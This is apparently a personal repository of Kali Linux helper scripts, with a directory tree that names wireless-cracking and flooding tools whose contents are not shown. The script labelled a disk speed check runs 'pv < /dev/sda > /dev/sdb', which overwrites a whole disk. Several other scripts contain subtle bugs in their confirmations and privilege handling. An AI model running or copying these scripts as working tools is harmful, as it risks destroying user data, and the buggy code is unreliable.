├── .gitignore
├── Kali-Pi-LCD
├── switch-hdmi
└── switch-lcd
├── README.md
├── artwork-fetcher-scripts
└── get-art-zero-artwork
├── assets
├── NetworkManager-managed.conf
├── NetworkManager.conf
├── add-apt-repository
├── add-apt-repository-ubuntu
├── airmon-ng-old
├── bashrc
├── color-vars
├── dhcpd.conf
├── htoprc
├── solid-template
├── sources.list
├── userdir.conf
├── whonix-interfaces
├── whonix-resolv.conf
└── wifite-ng-patch
├── bash-helper-scripts
├── terminal-emulator
│ └── x-terminal-emulator
└── xclip
│ └── xclip_alias
├── certificate-config-scripts
├── generate-self-signed-cert
├── solid-certificate
└── solid-certificate-openssl
├── cleaning-scripts
├── clamscan
├── clear-cache
├── remove-old-kernels
├── solid-cleaner
├── solid-scan
└── windigo-test
├── configuration-scripts
├── assets
│ ├── whonix-interfaces
│ └── whonix-resolv.conf
├── check-read-write-speed
├── create-new-user
├── dkms-mt7601.PKGBUILD
├── gpg-update
├── install-apt-fast
├── install-katoolin
├── install-mt7610
├── install-tor-w-whonix-gateway
├── lcd-essentials
├── set-hostname-new
├── setup-lcd-3.5
├── setup-metasploit-dev-env
├── setup-msf
├── setup-msf.sh
├── setup-screenfetch
└── whonix-url
├── exploits
└── iplocator-setup
├── git-helper-scripts
├── git-setup
└── test-github
├── in-progress
├── create-newuser-INCOMPLETE.sh
├── enable-autologin-INCOMPLETE.sh
├── nethunter
│ └── nat-mana-full-lollipop
└── raspberry-pi
│ ├── forceWifi
│ ├── led_show.py
│ └── setup-pifacedigital
├── ivpn-setup
├── ivpn-openvpn-config
│ ├── Canada.ovpn
│ ├── France.ovpn
│ ├── Germany.ovpn
│ ├── Hong Kong.ovpn
│ ├── Iceland.ovpn
│ ├── Italy.ovpn
│ ├── Netherlands.ovpn
│ ├── Romania.ovpn
│ ├── Sweden.ovpn
│ ├── Switzerland.ovpn
│ ├── USA - Atlanta.ovpn
│ ├── USA - Dallas.ovpn
│ ├── USA - Los Angeles.ovpn
│ ├── USA - Miami.ovpn
│ ├── USA - New Jersey.ovpn
│ ├── USA - Salt Lake City.ovpn
│ └── United Kingdom.ovpn
└── setup-openvpn
├── live-build-scripts
├── solid-live-build.sh
└── test-run-kernel.sh
├── mac-scripts
├── bash_profile-scripts
│ └── .bash_profile
├── brew-for-mac
│ └── install-homebrew-mac.sh
└── mac-permissions-scripts
│ └── change-ownership
├── monitor-mode-scripts
└── solid-monitor
├── nethunter-builder
└── build-nethunter
├── ngrok
└── start-ngrok-tcp-tunnel
├── old-scripts
├── README.md
├── backtrack5r3.sh
├── config-netmanage-ssh.sh
├── config-tshark-decrypt-WPA.sh
├── dumpit.sh
├── dumpit0.sh
├── git-setup
├── git-setup.sh
├── gojoe.sh
├── kali.sh
├── kali1.sh
├── kali_kde.sh
├── kali_livebuild.sh
├── letsgo.sh
├── monitor.sh
├── pia-openvpn.sh
├── quicky.sh
├── replayit.sh
├── resartNet
├── session.sh
├── solid-update
├── solid-update.sh
├── targetDump.sh
└── update-configs
├── oldies
├── Kali-Pi-LCD
│ ├── switch-hdmi
│ └── switch-lcd
├── README.md
├── artwork-fetcher-scripts
│ └── get-art-zero-artwork
├── assets
│ ├── NetworkManager-managed.conf
│ ├── NetworkManager.conf
│ ├── add-apt-repository
│ ├── add-apt-repository-ubuntu
│ ├── airmon-ng-old
│ ├── bashrc
│ ├── dhcpd.conf
│ ├── htoprc
│ ├── sources.list
│ ├── userdir.conf
│ ├── whonix-interfaces
│ ├── whonix-resolv.conf
│ └── wifite-ng-patch
├── bash-helper-scripts
│ ├── terminal-emulator
│ │ └── x-terminal-emulator
│ └── xclip
│ │ └── xclip_alias
├── certificate-config-scripts
│ ├── solid-certificate
│ └── solid-certificate-openssl
├── cleaning-scripts
│ ├── remove-old-kernels
│ ├── solid-cleaner
│ └── solid-scan
├── configuration-scripts
│ ├── assets
│ │ ├── whonix-interfaces
│ │ └── whonix-resolv.conf
│ ├── check-read-write-speed
│ ├── create-new-user
│ ├── dkms-mt7601.PKGBUILD
│ ├── install-apt-fast
│ ├── install-katoolin
│ ├── install-tor-w-whonix-gateway
│ ├── lcd-essentials
│ ├── setup-lcd-3.5
│ ├── setup-msf
│ ├── setup-msf.sh
│ ├── setup-screenfetch
│ └── whonix-url
├── git-helper-scripts
│ ├── git-setup
│ └── test-github
├── in-progress
│ ├── create-newuser-INCOMPLETE.sh
│ ├── enable-autologin-INCOMPLETE.sh
│ ├── nethunter
│ │ └── nat-mana-full-lollipop
│ └── raspberry-pi
│ │ ├── forceWifi
│ │ ├── led_show.py
│ │ └── setup-pifacedigital
├── ivpn-setup
│ ├── ivpn-openvpn-config
│ │ ├── Canada.ovpn
│ │ ├── France.ovpn
│ │ ├── Germany.ovpn
│ │ ├── Hong Kong.ovpn
│ │ ├── Iceland.ovpn
│ │ ├── Italy.ovpn
│ │ ├── Netherlands.ovpn
│ │ ├── Romania.ovpn
│ │ ├── Sweden.ovpn
│ │ ├── Switzerland.ovpn
│ │ ├── USA - Atlanta.ovpn
│ │ ├── USA - Dallas.ovpn
│ │ ├── USA - Los Angeles.ovpn
│ │ ├── USA - Miami.ovpn
│ │ ├── USA - New Jersey.ovpn
│ │ ├── USA - Salt Lake City.ovpn
│ │ └── United Kingdom.ovpn
│ └── setup-openvpn
├── live-build-scripts
│ ├── solid-live-build.sh
│ └── test-run-kernel.sh
├── mac-scripts
│ ├── bash_profile-scripts
│ │ └── .bash_profile
│ ├── brew-for-mac
│ │ └── install-homebrew-mac.sh
│ └── mac-permissions-scripts
│ │ └── change-ownership
├── monitor-mode-scripts
│ └── solid-monitor
├── password-attack-scripts
│ └── reaver-attack
├── post-install-scripts
│ ├── assets
│ │ ├── NetworkManager-managed.conf
│ │ ├── add-apt-repository
│ │ ├── bashrc
│ │ ├── htoprc
│ │ └── sources.list
│ ├── install-parrot-tools
│ ├── parrot-on-deb-installer-script
│ └── post-install
├── rock.sh
├── search-and-destroy-scripts
│ └── udpflood-kill-user.pl
├── sniffer-scripts
│ ├── crackwep.pl
│ ├── ettercap-wireshark-run
│ ├── nmap-DNS-brute-force
│ ├── nmap-find-hosts-on-ip
│ ├── nmap-http-recon
│ ├── nmap-http-title
│ ├── nmap-ms-windows-network-recon
│ ├── nmap-smb-brute
│ ├── nmap-superscript
│ ├── nmap-traceroute-geolocation
│ ├── setup-wifite-and-reaver
│ └── solid-capture
├── ssh-scripts
│ ├── banner
│ │ ├── issue.net
│ │ └── motd
│ └── setup-banner
├── troubleshooting-network-issues
│ ├── bounce-interface
│ ├── fix-sierra-mobile-ubunut
│ ├── forceWifi
│ └── restart-network
├── update-helper-scripts
│ ├── basic-update
│ └── solid-update
└── update-kernel-armhf
├── password-attack-scripts
└── reaver-attack
├── post-install-scripts
├── assets
│ ├── NetworkManager-managed.conf
│ ├── add-apt-repository
│ ├── bashrc
│ ├── htoprc
│ └── sources.list
├── initialize-metasploit
├── install-parrot-tools
├── parrot-on-deb-installer-script
└── post-install
├── radxa-rock
├── rock.sh
└── update-kernel-armhf
├── raspberry-pi
├── mount-rpi-image
├── post-pi-tail
├── script-template
├── solid-template
└── start-kali
├── search-and-destroy-scripts
└── udpflood-kill-user.pl
├── sniffer-scripts
├── crackwep.pl
├── ettercap-wireshark-run
├── nmap-DNS-brute-force
├── nmap-find-hosts-on-ip
├── nmap-http-recon
├── nmap-http-title
├── nmap-ms-windows-network-recon
├── nmap-smb-brute
├── nmap-superscript
├── nmap-traceroute-geolocation
├── setup-wifite-and-reaver
└── solid-capture
├── ssh-scripts
├── banner
│ ├── issue.net
│ └── motd
└── setup-banner
├── troubleshooting-network-issues
├── bounce-interface
├── fix-invalid-keys
├── fix-sierra-mobile-ubunut
├── forceWifi
└── restart-network
└── update-helper-scripts
├── basic-update
└── solid-update
/.gitignore:
--------------------------------------------------------------------------------
1 | *.zip
2 | *.rar
3 | *.xz
4 | nvidia-*
5 | *main-d9*
6 |
--------------------------------------------------------------------------------
/Kali-Pi-LCD/switch-hdmi:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo mv /etc/X11/xorg.conf.d/99-fbdev.conf /root/99-fbdev.conf
3 |
--------------------------------------------------------------------------------
/Kali-Pi-LCD/switch-lcd:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo cp /root/99-fbdev.conf /etc/X11/xorg.conf.d/
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Solid Scripts
2 | #
3 | # This repo is a collection of scripts I created for my own personal use, but anyone is free to use them. The majority of them are written for use with Kali Linux for easier configuration and penetration testing.
4 | # There are also some scripts for MacOS and OS X.
5 | #
6 | # Christopher Earnhart
7 | # http://christopherearnhart.com
8 | # http://solidoptionos.com
9 | # http://thiscode.ninja
10 | # http://techmd.systems
11 | # http://textusdesignsolutions.com
12 |
--------------------------------------------------------------------------------
/artwork-fetcher-scripts/get-art-zero-artwork:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | # color vars
4 | RED="\033[1;31m"
5 | YELLOW="\033[1;33m"
6 | BLUE="\033[1;34m"
7 | CYAN="\033[1;36m"
8 | ENDCOLOR="\033[0m"
9 | # script vars
10 | fileName=art-zero.zip
11 | downloadArt_default="yes"
12 | art_zero_alias="alias goto-artwork='cd $HOME/Pictures/Solid_Art'"
13 | art_zero_location="http://solidoptionos.com/assets/$fileName"
14 | art_zero_path="$HOME/Pictures/Solid_Art/"
15 |
16 |
17 | echo -e $RED" #################################################################"$ENDCOLOR;
18 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
19 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
20 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
21 | echo -e $YELLOW" /___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
22 | echo -e $YELLOW" /_/ "$ENDCOLOR;
23 | echo -e $RED" #################################################################"$ENDCOLOR;
24 | echo ""
25 | echo ""
26 | echo -e $CYAN"Download artwork from the Solid Option gallery."$ENDCOLOR;
27 | sleep 1
28 | echo ""
29 | read -p "Would you like to download artwork from the Solid Option gallery? [$downloadArt_default] " downloadArt_default
30 | downloadArt=${downloadArt:-$downloadArt_default}
31 |
32 | if [[ $downloadArt = $downloadArt_default || $downloadArt = 'yes' || $downloadArt = 'Y' || $downloadArt = 'y' ]]; then
33 |
34 | echo ""
35 | echo -e $BLUE"Creating Solid Art folder in '$art_zero_path'.."$ENDCOLOR;
36 | echo ""
37 | mkdir -p $art_zero_path
38 | cd $art_zero_path
39 | pwd
40 | echo ""
41 |
42 | echo -e $BLUE"Downloading artwork.."$ENDCOLOR;
43 | echo ""
44 | wget $art_zero_location
45 | echo ""
46 |
47 | echo -e $BLUE"Extracting artwork.."$ENDCOLOR;
48 | echo ""
49 | unzip $fileName
50 | echo ""
51 |
52 | echo -e $BLUE"Cleaning up.."$ENDCOLOR;
53 | echo ""
54 | rm -rf __MAC*
55 | rm $fileName
56 | ls -Al
57 | echo ""
58 |
59 | echo -e $BLUE"Adding $art_zero_alias to '$HOME/.bashrc'.."$ENDCOLOR;
60 | echo ""
61 | echo "$art_zero_alias" >> $HOME/.bash_aliases
62 | echo ""
63 |
64 | echo -e $CYAN"Complete. Enjoy!!"$ENDCOLOR;
65 | exit
66 |
67 | else
68 |
69 | echo -e $CYAN"Okay. Maybe later."$ENDCOLOR;
70 | exit
71 |
72 | fi
73 |
--------------------------------------------------------------------------------
/assets/NetworkManager-managed.conf:
--------------------------------------------------------------------------------
1 | [main]
2 | plugins=ifupdown,keyfile
3 |
4 | [ifupdown]
5 | managed=true
6 |
--------------------------------------------------------------------------------
/assets/NetworkManager.conf:
--------------------------------------------------------------------------------
1 | [main]
2 | plugins=ifupdown,keyfile
3 |
4 | [ifupdown]
5 | managed=true
6 |
7 | [keyfile]
8 | unmanaged-devices=interface-name:wlan0mon;interface-name:wlan1mon;interface-name:wlan2mon;interface-name:wlan3mon;interface-name:wlan4mon;interface-name:wlan5mon;interface-name:wlan6mon;interface-name:wlan7mon;interface-name:wlan8mon;interface-name:wlan9mon;interface-name:wlan10mon;interface-name:wlan11mon;interface-name:wlan12mon
9 |
--------------------------------------------------------------------------------
/assets/add-apt-repository:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | if [ $# -eq 1 ]
3 | NM=`uname -a && date`
4 | NAME=`echo $NM | md5sum | cut -f1 -d" "`
5 | then
6 | ppa_name=`echo "$1" | cut -d":" -f2 -s`
7 | if [ -z "$ppa_name" ]
8 | then
9 | echo "PPA name not found"
10 | echo "Utility to add PPA repositories in your debian machine"
11 | echo "$0 ppa:user/ppa-name"
12 | else
13 | echo "$ppa_name"
14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main " >> /etc/apt/sources.list
15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt
16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3`
17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key
18 | rm -rf /tmp/${NAME}_apt_add_key.txt
19 | fi
20 | else
21 | echo "Utility to add PPA repositories in your debian machine"
22 | echo "$0 ppa:user/ppa-name"
23 | fi
24 |
--------------------------------------------------------------------------------
/assets/add-apt-repository-ubuntu:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | if [ $# -eq 1 ]
3 | NM=`uname -a && date`
4 | NAME=`echo $NM | md5sum | cut -f1 -d" "`
5 | then
6 | ppa_name=`echo "$1" | cut -d":" -f2 -s`
7 | if [ -z "$ppa_name" ]
8 | then
9 | echo "PPA name not found"
10 | echo "Utility to add PPA repositories in your debian machine"
11 | echo "$0 ppa:user/ppa-name"
12 | else
13 | echo "$ppa_name"
14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu trusty main" >> /etc/apt/sources.list
15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt
16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3`
17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key
18 | rm -rf /tmp/${NAME}_apt_add_key.txt
19 | fi
20 | else
21 | echo "Utility to add PPA repositories in your debian machine"
22 | echo "$0 ppa:user/ppa-name"
23 | fi
24 |
--------------------------------------------------------------------------------
/assets/color-vars:
--------------------------------------------------------------------------------
1 | f# color vars
2 | dgrey="\033[0;34m"
3 | port="\033[0;33m"
4 | RED="\033[1;31m"
5 | GREEN="\033[1;32m"
6 | YELLOW="\033[1;33m"
7 | BLUE="\033[1;34m"
8 | PURPLE="\033[1;35m"
9 | CYAN="\033[1;36m"
10 | WHITE="\033[1:37m"
11 | ENDCOLOR="\033[0m"
12 | # end color vars
13 |
--------------------------------------------------------------------------------
/assets/htoprc:
--------------------------------------------------------------------------------
1 | # Beware! This file is rewritten by htop when settings are changed in the interface.
2 | # The parser is also very primitive, and not human-friendly.
3 | fields=0 48 17 18 38 39 40 2 46 47 49 1
4 | sort_key=46
5 | sort_direction=1
6 | hide_threads=0
7 | hide_kernel_threads=1
8 | hide_userland_threads=0
9 | shadow_other_users=0
10 | show_thread_names=0
11 | highlight_base_name=0
12 | highlight_megabytes=1
13 | highlight_threads=0
14 | tree_view=1
15 | header_margin=1
16 | detailed_cpu_time=0
17 | cpu_count_from_zero=0
18 | update_process_names=0
19 | account_guest_in_cpu_meter=0
20 | color_scheme=0
21 | delay=15
22 | left_meters=AllCPUs Memory Memory Swap
23 | left_meter_modes=1 1 2 1
24 | right_meters=Battery Blank Tasks LoadAverage Uptime Clock
25 | right_meter_modes=1 2 2 2 2 4
26 |
--------------------------------------------------------------------------------
/assets/sources.list:
--------------------------------------------------------------------------------
1 | # Kali-Rolling Repos
2 | deb http://repo.kali.org/kali kali-rolling main contrib non-free
3 | deb-src http://repo.kali.org/kali kali-rolling main contrib non-free
4 |
5 | # Kali Dev Repos
6 | deb http://repo.kali.org/kali kali-dev main contrib non-free
7 | deb-src http://repo.kali.org/kali kali-dev main contrib non-free
8 |
9 | # Kali Bleeding-Edge Repos
10 | deb http://repo.kali.org/kali kali-bleeding-edge main contrib non-free
11 | deb-src http://repo.kali.org/kali kali-bleeding-edge main contrib non-free
12 |
13 | # X-Swat Repo - graphics drivers
14 | deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu oneiric main
15 |
16 | # Themes Repo
17 | deb http://ppa.launchpad.net/noobslab/themes/ubuntu oneiric main
18 |
19 |
--------------------------------------------------------------------------------
/assets/userdir.conf:
--------------------------------------------------------------------------------
1 |
2 | UserDir public_html
3 | UserDir disabled root
4 |
5 |
6 | AllowOverride FileInfo AuthConfig Limit Indexes
7 | Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
8 |
9 | # Require all granted
10 | Order allow,deny
11 | Allow from all
12 |
13 |
14 | # Require all allowed
15 | Order deny,allow
16 | Deny from all
17 |
18 |
19 |
20 |
21 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
22 |
--------------------------------------------------------------------------------
/assets/whonix-interfaces:
--------------------------------------------------------------------------------
1 | auto lo
2 | iface lo inet loopback
3 |
4 | iface eth0 inet static
5 | address 10.152.152.11
6 | netmask 255.255.192.0
7 | gateway 10.152.152.10
8 |
9 |
--------------------------------------------------------------------------------
/assets/whonix-resolv.conf:
--------------------------------------------------------------------------------
1 | nameserver 10.152.152.10
2 |
--------------------------------------------------------------------------------
/bash-helper-scripts/terminal-emulator/x-terminal-emulator:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | "$@"
3 | exec "$SHELL"
4 |
--------------------------------------------------------------------------------
/bash-helper-scripts/xclip/xclip_alias:
--------------------------------------------------------------------------------
1 | echo "alias xclip='xargs echo -n | xclip -selection clipboard -c'" >> ~/.bash_aliases
2 |
--------------------------------------------------------------------------------
/certificate-config-scripts/generate-self-signed-cert:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Generate self signed cert
3 | openssl req -new -x509 -nodes -out client.crt -keyout client.key -subj /CN=Moi/O=Foo/C=NL
4 |
5 | # Start a server
6 | openssl s_server -cipher AES256-SHA -accept 4443 -www -CAfile client.crt -verify 1 -key server.pem -cert server.cert
7 |
8 | # And test
9 | printf 'GET / HTTP/1.0\r\n\r\n' | openssl s_client -connect localhost:4443 -ssl3 -cert client.pem -key client.key -ign_eof
10 |
11 | # tshark commands
12 | tshark -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list: 127.0.0.1,4443,http,/home/dirkx/xx/privkey.pem" -o "ssl.debug_file: /home/dirkx/.wireshark-log" -i eth0 -R "tcp.port == 4443"
13 |
--------------------------------------------------------------------------------
/cleaning-scripts/clamscan:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | clamscan -v --tempdir=/tmp/clamd/ --gen-json=yes --database=/var/lib/clamav/ -r --copy=/clamav-quarentine/ -l /var/log/clamav/clamscan.log --disable-cache
4 |
5 |
6 |
--------------------------------------------------------------------------------
/cleaning-scripts/clear-cache:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | echo ""
3 | echo "dropping caches.."
4 | echo ""
5 | echo "sync; echo 1 > /proc/sys/vm/drop_caches"
6 | sudo sync; sudo echo 1 > /proc/sys/vm/drop_caches
7 | echo ""
8 | sleep 1
9 | echo "Complete"
10 | echo ""
11 | sleep 1
12 | echo "clear dentries and ..."
13 | echo ""
14 | echo "sync; echo 2 > /proc/sys/vm/drop_caches"
15 | sudo sync; sudo echo 2 > /proc/sys/vm/drop_caches
16 | echo ""
17 | sleep 1
18 | echo "Complete"
19 | echo ""
20 | sleep 1
21 | echo "clear more shit.."
22 | echo ""
23 | echo "sync; echo 3 > /proc/sys/vm/drop_caches "
24 | sudo sync; sudo echo 3 > /proc/sys/vm/drop_caches
25 | echo ""
26 | echo "Complete"
27 | echo ""
28 |
--------------------------------------------------------------------------------
/cleaning-scripts/remove-old-kernels:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #Colors
4 |
5 | dgrey="\033[0;34m"
6 | port="\033[0;33m"
7 | RED="\033[1;31m"
8 | GREEN="\033[2;32m"
9 | YELLOW="\033[1;33m"
10 | BLUE="\033[1;34m"
11 | RED="\033[0;31m"
12 | ENDCOLOR="\033[0m"
13 |
14 | echo -e $RED"#################################################################"$ENDCOLOR;
15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
19 | echo -e $YELLOW" /_/ "$ENDCOLOR;
20 | echo -e $RED"#################################################################"$ENDCOLOR;
21 | echo -e $YELLOW"Remove and purge all old kernels, images, and headers? [ y | n ]"$ENDCOLOR;
22 | read SOLIDERASE
23 | if [[ $SOLIDERASE = Y || $SOLIDERASE = y ]] ; then
24 | echo -e $YELLOW"Are you sure? This cannot be undone. [ y | n ]"$ENDCOLOR
25 | read SOLIDCONFIRM
26 | if [[ $SOLIDERASE = Y || $SOLIDERASE = y ]] ; then
27 | echo -e $BLUE"Removing..."$ENDCOLOR;
28 | sleep 1
29 | sudo apt-get remove --purge $(dpkg -l 'linux-image-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d')
30 | echo -e $RED"###############################################"$ENDCOLOR
31 | echo -e $RED"# task complete!! #"$ENDCOLOR
32 | echo -e $RED"###############################################"$ENDCOLOR
33 | echo ""
34 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR
35 | echo ""
36 | exit
37 | else
38 | exit
39 | fi
40 | else
41 | exit
42 | fi
43 |
--------------------------------------------------------------------------------
/cleaning-scripts/solid-scan:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | clear
3 | #Colors
4 |
5 | dgrey="\033[0;34m"
6 | port="\033[0;33m"
7 | RED="\033[1;31m"
8 | GREEN="\033[2;32m"
9 | YELLOW="\033[1;33m"
10 | BLUE="\033[1;34m"
11 | RED="\033[0;31m"
12 | ENDCOLOR="\033[0m"
13 |
14 | echo -e $RED"#################################################################"$ENDCOLOR;
15 | echo -e $YELLOW"SolidOptionOS Solid Scan"$ENDCOLOR;
16 | echo -e $RED"#################################################################"$ENDCOLOR;
17 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR;
18 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR;
19 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR;
20 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR;
21 | echo -e $YELLOW" /_/ "$ENDCOLOR;
22 | echo -e $RED"#################################################################"$ENDCOLOR;
23 | echo ""
24 | echo -e $BLUE"Checking for root..."$ENDCOLOR;
25 | sleep 0.5
26 | if [ $USER !=root ]; then
27 | echo -e $RED"Sorry, you must run this from as root."$ENDCOLOR
28 | echo -e $YELLOW"Exiting..."$ENDCOLOR
29 | exit 0
30 | fi
31 | echo -e $BLUE"Installing clamav first..."$ENDCOLOR;
32 | sleep 1
33 | apt-get install clamav -y
34 | echo ""
35 | echo -e $BLUE"Updating with freshclam..."$ENDCOLOR;
36 | sleep 1
37 | freshclam
38 | echo ""
39 | #echo -e $BLUE"Creating temp directories.."$ENDCOLOR;
40 | #sleep 1
41 | #mkdir /tmp/clamscan
42 | #mkdir /var/log/clamscan
43 | #mkdir /clamav-quarentine
44 | echo ""
45 | echo -e $BLUE"Ok. Let's scan."$ENDCOLOR;
46 | sleep 0.5
47 | echo -e $YELLOW"Default options are '-r ~/ -i --tempdir=/tmp/clamscan --log=/var/log/clamscan/log --copy=/clamav-quarentine/' Use? {y/n} "$ENDCOLOR
48 | read OPTIONS
49 | if [[ $OPTIONS = 'y' || $OPTIONS = 'Y' ]] ; then
50 | clamscan -r ~/ -i --tempdir=/tmp/clamscan --log=/var/log/clamscan/log --copy=/clamav-quarentine/
51 | sleep 1
52 | echo ""
53 | echo ""
54 | echo -e $RED"###############################################"$ENDCOLOR
55 | echo -e $BLUE"# Scan Complete. #"$ENDCOLOR
56 | echo -e $RED"###############################################"$ENDCOLOR
57 | echo ""
58 | echo -e $YELLOW"Have A Solid Day"$ENDCOLOR;
59 | echo ""
60 | exit
61 | else
62 | echo -e $YELLOW"Enter new options: "$ENDCOLOR
63 | read CUSTOPTS
64 | sleep 1
65 | clamscan $CUSTOPTS
66 | sleep 1
67 | echo ""
68 | echo ""
69 | echo -e $RED"###############################################"$ENDCOLOR
70 | echo -e $BLUE"# Scan Complete. #"$ENDCOLOR
71 | echo -e $RED"###############################################"$ENDCOLOR
72 | echo ""
73 | echo -e $YELLOW"Have A Solid Day"$ENDCOLOR;
74 | echo ""
75 | exit
76 | fi
77 |
--------------------------------------------------------------------------------
/cleaning-scripts/windigo-test:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | if $ssh -G 2>&1 | grep -e illegal -e unknow > /dev/null; then
3 | if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi
4 | else
5 | echo "Possible Linux/Ebury - Operation Windigo possibly installed"
6 | fi
7 | sleep 1
8 |
9 | echo "Chedcking openssh version...";
10 | echo ""
11 | OPENSSH_VER=$(grep -o 'OpenSSH_[0-9].[0-9]p[1-9]' <(ssh -V 2>&1) | sed 's/OpenSSH_//')
12 | sleep 1
13 | echo "Complete.";
14 | echo "";
15 | sleep 1
16 | echo "Checking for false positive.";
17 | echo "";
18 | sleep 1
19 | echo "Gathering information from openssh version..";
20 | OPENSSH_TEST=$(echo "$OPENSSH_VER" | awk 'BEGIN {FS = "p"} ; $1 >= 6.9 && $2 >= 1')
21 | echo "False positive test complete.";
22 |
23 | if [ -n $OPENSSH_TEST ]; then
24 | echo "Not a Windigo - Ebury infection... Some other stuff...";
25 | fi
26 |
--------------------------------------------------------------------------------
/configuration-scripts/assets/whonix-interfaces:
--------------------------------------------------------------------------------
1 | auto lo
2 | iface lo inet loopback
3 |
4 | iface eth0 inet static
5 | address 10.152.152.11
6 | netmask 255.255.192.0
7 | gateway 10.152.152.10
8 |
9 |
--------------------------------------------------------------------------------
/configuration-scripts/assets/whonix-resolv.conf:
--------------------------------------------------------------------------------
1 | nameserver 10.152.152.10
2 |
--------------------------------------------------------------------------------
/configuration-scripts/check-read-write-speed:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | disk1="sda"
3 | disk2="sdb"
4 | echo "Select disk1 [default sda] ";
5 | echo ""
6 | echo "Seclect disk2 [default sdb] ";
7 | echo ""
8 | echo "Installing pv.."
9 | echo ""
10 | sudo apt-get install pv -y
11 | echo ""
12 | echo "Running [sudo pv < /dev/$disk1 > /dev/$disk2"
13 | echo ""
14 | sudo pv < /dev/$disk1 > /dev/$disk2
15 |
--------------------------------------------------------------------------------
/configuration-scripts/dkms-mt7601.PKGBUILD:
--------------------------------------------------------------------------------
1 | # Maintainer: Yong-hyu Ban
2 | pkgname=dkms-mt7601u
3 | pkgver=v3.0.0.4
4 | pkgrel=1
5 | pkgdesc="Driver for Ralink MT7601U chipset wireless adaptors"
6 | arch=('i686' 'x86_64')
7 | url="http://www.ralinktech.com"
8 | license=('GPL')
9 | depends=('dkms' 'linux-headers')
10 | conflicts=()
11 | install=${pkgname}.install
12 | options=(!strip)
13 | source=("http://www.mediatek.com/AmazonS3/Downloads/linux/DPO_MT7601U_LinuxSTA_3.0.0.4_20130913.tar.bz2"
14 | "kuid_t.patch::http://up.levert.ch/d7ba21-patch314.patch"
15 | "dkms.conf")
16 |
17 | md5sums=('5f440dccc8bc952745a191994fc34699'
18 | '6aecede18cb218e108464d9d73fff3d5'
19 | '95caf4e6ba262c9683867e207fe846d7')
20 |
21 |
22 | prepare() {
23 | rm -rf ${srcdir}/$pkgname-$pkgver
24 | # Change src dir name
25 | mv ${srcdir}/DPO_MT7601U_LinuxSTA_3.0.0.4_20130913 ${srcdir}/$pkgname-$pkgver
26 |
27 | cd "${srcdir}/${pkgname}-${pkgver}/"
28 | patch -Np1 -i ${srcdir}/kuid_t.patch
29 | }
30 |
31 | build() {
32 | DATE=$(date +%d-%m-%Y);
33 | TIME=$(date +%z);
34 |
35 | #gcc 4.9 adds -Werror=date-time, which Linux has enabled in its build.
36 | cd "${srcdir}/${pkgname}-${pkgver}/"
37 | sed -i "s|__DATE__|\"$DATE\"|g" sta/sta_cfg.c
38 | sed -i "s|__TIME__|\"$TIME\"|g" sta/sta_cfg.c
39 | }
40 |
41 | package() {
42 |
43 | installDir="$pkgdir/usr/src/$pkgname-$pkgver"
44 |
45 | install -dm755 "$installDir"
46 | install -m644 "$srcdir/dkms.conf" "$installDir"
47 | install -dm755 "$pkgdir/etc/modprobe.d"
48 |
49 | cd "${srcdir}/${pkgname}-${pkgver}/"
50 |
51 | for d in `find . -type d`
52 | do
53 | install -dm755 "$installDir/$d"
54 | done
55 |
56 | for f in `find . -type f -o -type l`
57 | do
